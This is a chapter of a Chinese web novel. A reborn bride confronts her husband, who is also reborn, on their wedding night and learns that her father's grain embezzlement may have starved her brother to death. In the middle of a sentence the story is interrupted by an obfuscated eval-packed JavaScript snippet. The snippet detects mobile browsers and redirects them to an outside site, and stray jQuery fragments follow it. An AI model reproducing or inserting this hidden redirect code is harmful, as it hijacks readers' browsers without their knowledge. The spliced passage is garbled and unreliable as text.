“什么!太子和三皇子都来了!”
正顶着满头珠翠、小鸡啄米般打瞌睡的金旃,惊得一个激灵弹了起来。
动作之大,几支颤巍巍的金凤钗差点飞了出去。
身边伺候的老嬷嬷吓得失声惊叫“哎哟我的大小姐”,七手八脚的才把这位差点披头散发的新娘子按回凳子上,重新把那价值连城的珠翠往她发髻里簪牢。
春桃拍着胸口,心有余悸地喘匀了气:“是、是啊!外头说,太子那眼神……跟刀子似的剜着咱们姑爷!定然是因为——”
谁不知那位太子旧太傅斩首的事儿,何况这位太子可是出了名的重情义,若是真让储君记恨上了,可怎么得了?
春桃不敢再说,只沉声道:“小姐,这可怎么是好?”
金旃连瞌睡都没了,心里飞快盘算——这辈子跟上一世可大不相同,张大淳因宋玉禾殿上对策而人头落地。赵乾佑定会记恨上这个未曾谋面便致老师惨死的推手。所以,“什么眼神刀子似的剜着咱们姑爷”,哪里不好?这可太好了!如果赵乾佑能够大闹喜宴,把宋玉禾打一顿才是最好!
其次,今日最该防的,是那突然冒出来的赵景珩才对。他跑来做什么?上辈子她大婚,这位三皇子可是只送了份厚礼,面都没露。这次居然亲自登门?难道是因为百花宴那档子事?
金旃下意识地啃起了水葱似的指甲尖儿,细细琢磨——不过那事儿早就翻篇了。他赵景珩就算想翻旧账,也错过了最佳时机。如今木已成舟,自己嫁都嫁了,还怕皇后一道懿旨让自己改嫁三皇子府不成?
这么一想,金旃心头豁然开朗,眉间愁云瞬间散尽,唇角一弯,对着菱花镜就绽开一个明媚张扬的笑容。
旁边刚缓过神来的嬷嬷丫头们,被她这骤然绽放的容光慑住,由衷地齐声赞叹:“大小姐今日美极了!”
金旃这才施施然将目光投向镜中。但见自己一身流霞般的华美嫁衣,云髻高耸,珠围翠绕。宝光流动间,一张芙蓉面艳若桃李,眼波流转处顾盼生辉,当真是惊心动魄的绝色。
她眼珠滴溜溜一转,忽然起了促狭心思,回眸笑靥如花地问满屋子人:“你们说,本小姐今日比起咱家那位新姑爷……孰美?”
众人一愣,随即掩着嘴“噗嗤”笑作一团。
梳头的老嬷嬷忍着笑嗔怪:“哎哟喂大小姐,这大喜的日子,您怎么跟姑爷比起美来了?这也不是一路数呀!”
金旃却理直气壮地一扬下巴,红唇噙着一丝狡黠又得意的笑:“咱们姑爷啊,静静坐在那儿,都不知勾走了多少人的魂儿。本小姐今日若不能把他比下去,这新妇的威风,岂不是要被他抢了去?”
————
可此次婚仪没如金旃想的那般——赵乾佑没有大闹喜宴,而是静坐高位,得体又温和;赵景恒也没有重提旧事,只在人群中拍掌叫好,甚至大闹喜房……
一切都似乎平平静静、热热闹闹,和前世没有区别。
除了金旃在被众人玩笑时不再冷若冰霜,而是羞红了脸;还有宋玉禾,不似前生温和的疏离、只知礼节。
似乎,都很好,直到洞房花烛夜——
喜房内,龙凤红烛高燃,映得一室流金。
金旃早已等得不耐烦,歪在铺满花生红枣的喜床上,翘着腿,毫无形象地拈着块芙蓉糕往嘴里塞。
她鼓着腮帮子嚼糕点,抱怨起来:“这帮没眼力见儿的!灌新郎官儿酒灌个没完……洞房花烛夜,灌醉了躺尸,正事不干,算谁的!”
话音刚落,外间喧闹声陡然逼近。
那新郎官被众人推搡着入了喜房,调笑之话极是大胆。
金旃手忙脚乱把半块糕点塞进枕头底下,抄起旁边备好的团扇严严实实遮住脸,瞬间端坐如仪,腰背挺直,俨然一副大家闺秀含羞带怯的新嫁娘模样。
“嘭”的一声,房门被撞开,又被迅速关上,隔绝了外面的哄笑。宋玉禾被推搡进来,脚步明显虚浮踉跄,带着一身浓郁的酒气。
金旃透过团扇的缝隙,看着他踉跄到喜案前,抄起温着的醒酒茶壶,喝了好几口。水流顺着他的下颌滑落,洇湿了大红喜袍的前襟。
她一笑,随后将团扇把脸遮的严严实实。
然后,是长久的的沉默。
烛火噼啪作响,金旃眉头越拧越紧——真醉死过去了?
耐心耗尽,她移开了遮面的团扇,猝不及防地撞进了一双眼睛里。
自己的新郎官没醉死,也没昏睡,正斜倚在喜案边。他头上的簪花喜帽早已摘下,束发的玉冠有些松散,几缕墨黑发丝垂在他额角鬓边,非但不显狼狈,反添风流。
宋玉禾左手支着额角,右手无意识地摩挲着温热的茶壶。那双平日里清冷如寒潭的瑞凤眼,带着几分酒意朦胧。他嘴角噙着一丝浅淡笑意,直直地凝视着她。
平日的清冷谪仙今夜此时却成了人间风流客般——金旃又想起昨夜他的撩人心魄的样子,心痒痒的。
不过嘛……这辈子的洞房花烛还是得规矩点儿的。
金旃按下心头痒意,将团扇重新举起遮住了脸,声音刻意放得娇柔:“夫君,可是醉得忘了却扇之礼?”
沉默片刻后,宋玉禾终于有了声儿。
只听他一声似乎被逗乐,低声笑了起来,却仍旧坐在喜桌边,未挪动步子。
笑得金旃皱起了眉,宋玉禾终于薄唇轻启,吐出的字句清晰得如同冰锥:“父辈之约,当为糟粕。但我孝顺,下嫁于你。今夜过后,你我名为夫妻,实乃主仆——万莫越矩。”
金旃握着团扇的手指猛地收紧。
他的目光扫过金旃捏紧扇骨的手指,淡笑问道:“夫人难道忘了新婚之夜,自己的亲口所言吗?”
金旃哪里不记得,这是前世自己在新婚之夜对宋玉禾说的话!
原来如此!
也是难怪!
难怪他初次见面就急不可耐地要退婚,难怪殿试之上他会答出那篇将张大淳送上断头台的铁血对策,难怪他那些熟悉的样子,难怪他能精准撩拨自己或生气或心动的话……
金旃得出了最浅显的念头——宋玉禾是真的不愿娶自己!
这些日子金旃以为是宋玉禾只是不喜自己张扬的性子,因此做小伏低,万事筹谋,做了好些蠢事!可宋玉禾就这么看着,和她逢场作戏,和她虚与委蛇,甚至昨夜那样……
——他在耍我!
这个念头让金旃彻底动了杀意。
团扇后,传来金旃一声毫不掩饰的嗤笑。
她放下团扇,抬起头,如花似玉的脸上哪里还有半分羞怯?只有一片张扬放肆的明艳笑容。
那双眸子亮得惊人,直直迎上宋玉禾的目光。
“我从前便说你是个爱记仇的小人,可所有人都被你这副画皮所骗,反而说我是个不容人的。”她冷艳的笑,不掩饰半分讥讽,“宋玉禾,既然你我都是从那鬼门关爬回来的‘故人’,又何必再装?”
金旃站起身,一步步走在铺着红绸的脚踏上,走向案桌前,语调越来越冷。
“说实话,初时,我想着不再计较你的那些污糟,想着今生好好过了。可这些日子,你竟然敢把我当猴儿耍?宋玉禾,你真当我金旃重活一世,就心慈手软成了活菩萨?”
金旃同宋玉禾只隔着一张小小喜桌。
于是,她微微倾身,用团扇挑起宋玉禾下巴,居高临下的对上他的眼。
“若我此刻杀了你,明日披麻戴孝扶棺哭夫——东京城是骂我克夫呢,还是赞我情深?”
烛火在她身后跳跃,将两人对峙的身影长长地投在洒满吉祥物的红帐之上。洞房花烛的暖意,因他们的坦白而彻底冻结。
宋玉禾清晰地看到她眼底翻腾的暴戾,知道下一刻她袖中或许真会滑出淬毒的匕首。
可他并不怕。
他只伸出手,拈去金旃嘴角的糕点屑,动作轻柔缱绻,笑意温和,可那双瑞凤眼却淡漠到极至。
“当然不。重活一世,我诚然还是那记仇的小人,夫人你也绝非是能忍气吞声的女菩萨。”
金旃没被他这“柔情”的模样给魅惑到,面色微凉,嘴角笑意越来越深。
宋玉禾知道她杀心已起,不由忙笑道:“夫人如此大费周章的将婚事促成,若杀了我,可就没办法利用我了。”
利用?他倒是全部都看清了。
金旃不接他的招,冷笑一声:“可是怎么办?我一点都不喜欢前世那个谲诈多端的佞臣,我要的,只是今生初始的沛县穷举子。”
说着,金旃将团扇移动,抵在宋玉禾的胸口,微微眯眼,沉声道:“宋玉禾,你该怎么赔我呢?”
宋玉禾挑眉:“既然都已挑明,那我也就不再兜圈子了——前世侯府抄家真相,夫人难道不想查明?”
抄家……
金旃似乎突然陷入那年的困境中,心头大震。她呼吸微滞,缓缓坐回凳子上。
再抬眸时,那双眼阴鸷寒戾,整个人都变了一般。
“你,要说什么?”
宋玉禾也敛去笑意,淡然开口:“元隆三十三年,北狄大进我朝边境,我军与北狄在帝丘关鏖战十天十夜,虽大败敌军。可领军的忠武侯世子——”
眼见金旃的脸色瞬间死白,宋玉禾顿了顿,蹙眉沉声道:“在最后时刻,绝粮而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247394|180133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亡。”
金旃呼吸骤停,仿佛又见那日——
她失魂落魄捧着佛龛玉菩萨,一遍遍追问信使,只得到那锥心刺骨的答案:世子是饿死的。
忠武侯世子,金旃同胞兄长,金烁。
东京府里最招摇热烈的小纨绔。
十二岁因胡乱说话,父亲大怒,将他扔去苦寒边关。十五载书信,写边关战火,写平日趣事,写收到妹妹佳酿的欢喜,更写……
【旃儿吾妹:
见字如晤。
边关又落雪了,铺天盖地,大如席。
倒让我想起上元灯会时,你闹着要吃的糖雪球。只是此雪寒能砭骨,营中老卒言,此乃白毛风,吹上一宿,牛羊都能冻成冰坨。今夜巡营,见两戍卒呵气成霜,笑言为守家。此情此景,兄心震动,久久不能平复。
我们金玉堆里长大,钟鸣鼎食,不识人间苦楚。
明关十二道,百苦者甚多——北狄夜袭过后的村屋下有被马蹄踏碎颅骨的孩童;自家农田冻土三尺的老农,与兄说起春播无望的眼神……
兄时常记起京中夜宴中曾笑谈“蛮荒之地,丢了也不足惜”的旧话。初时不解父亲为何大怒,以至于将兄扔到此地。如今才觉此话之耻,令人胆寒!
想来,人生终一死,兄唯愿为天下百苦者而战死。若至那日,乃兄荣光。吾妹切莫为我垂泪。
另:前日收到你托人捎来的新酿,启封时满帐皆香,引来好些粗坯子,兄只得忍痛分了大半!好生心痛!剩下的,独酌于月下,恍觉身畔有你叽叽喳喳说笑之声。
待兄归(此处墨迹略洇开,似有停顿)
罢了,边关路远,佳酿且替兄多存几坛。
天寒,珍重。
兄铄手书
于戊戌年冬月帝丘风雪夜】
在这世上,没有人比金旃更知晓,昔年那个只知走马章台、斗鸡射鹄的侯府世子,早被这关山冷月、朔风黄沙,重塑了筋骨。
如他所愿的,若哥哥战死沙场,马革裏尸,金旃只会敬他、念他,绝不喊冤——可哥哥竟然在大胜之后,活活饿死在应犒赏三军的饭桌上!
本该凯旋的侯府世子,却落得如何可笑荒谬的结局……叫她如何不恨!如何不怨?
金旃捂住心口——那里坠着前些日子哥哥听闻她婚讯,送来亲手所磨刻的金元宝模样的玉坠子。
宋玉禾见她双眸含泪已是发了狠,声音放缓:“你兄长之死,确为军粮贪墨。但忠武侯之死——”
他顿了顿,看着金旃紧绷到极致的侧脸,缓缓道:“他入狱七日便自尽认罪。夫人就没想过,这认罪伏法的背后,是否另有乾坤?”
金旃一愣,手微微颤抖,却紧紧抿唇不敢张口——她当然知道此事绝对不简单!
上辈子逆王赵旭之子在沧州作乱被抓,下诏狱后交出了那份所谓的昔日同党名单。由此,太子赵乾佑自请查处此事,掀起肃贼之乱——而忠武侯便是那名单中的“叛贼首席”。
终于,她眼带倔犟坚定,道:“当年逆王造反,是我爹临危受命,于乱军之中亲手射杀逆王赵旭,保全了皇帝老儿的性命。那御赐的【山河柱石】牌匾,如今还高悬在侯府正厅,昭昭天日可鉴!我爹绝不会行作乱之事!何况,赵乾佑和高准记恨我爹许久,那份逆贼同党的名单又哪里不可能是他们作的假证?!”
只见宋玉禾缓缓颔首:“是。世伯诚然是被污蔑的。”
猝不及防的认可,却让金旃呆住。
他继续轻声道:“谋逆之罪早于世伯下狱之时便已查清,不过是那逆王之子记恨他当年亲手射杀生父所做的污蔑。”
那……为什么爹还是下狱了?
金旃没有半分欣喜,只有越来越深的恐惧——此罪若是假,那便是他犯的罪比谋逆大罪还要可怖?
宋玉禾观她神色,顿了顿,可继续吐出的每一个字都冰冷刺骨:“真正将他推入万劫不复的,是大理寺接到的无名检举——大明关军粮贪墨案,所有漕仓签押簿记,皆指向了督粮监官——忠武侯,金归鸿。”
死寂,吞噬了整个房间。
只有龙凤红烛燃烧的噼啪声,似乎在燃烧金旃的魂魄。
她像一尊瞬间失去所有生气的玉雕,唯有那双猩红的眸子,难以置信地看着宋玉禾。
许久,许久。
她那嘶哑的声音,艰难地从喉咙里挤了出来:“你是说……”
金旃身体微微前倾,似乎想听清,又似乎想扑过去扼住对方的咽喉:“你是说——”
那声音陡然拔高,因那滔天愤怒和不可置信而颤抖:“我爹贪墨,导致了我哥哥活活饿死?!”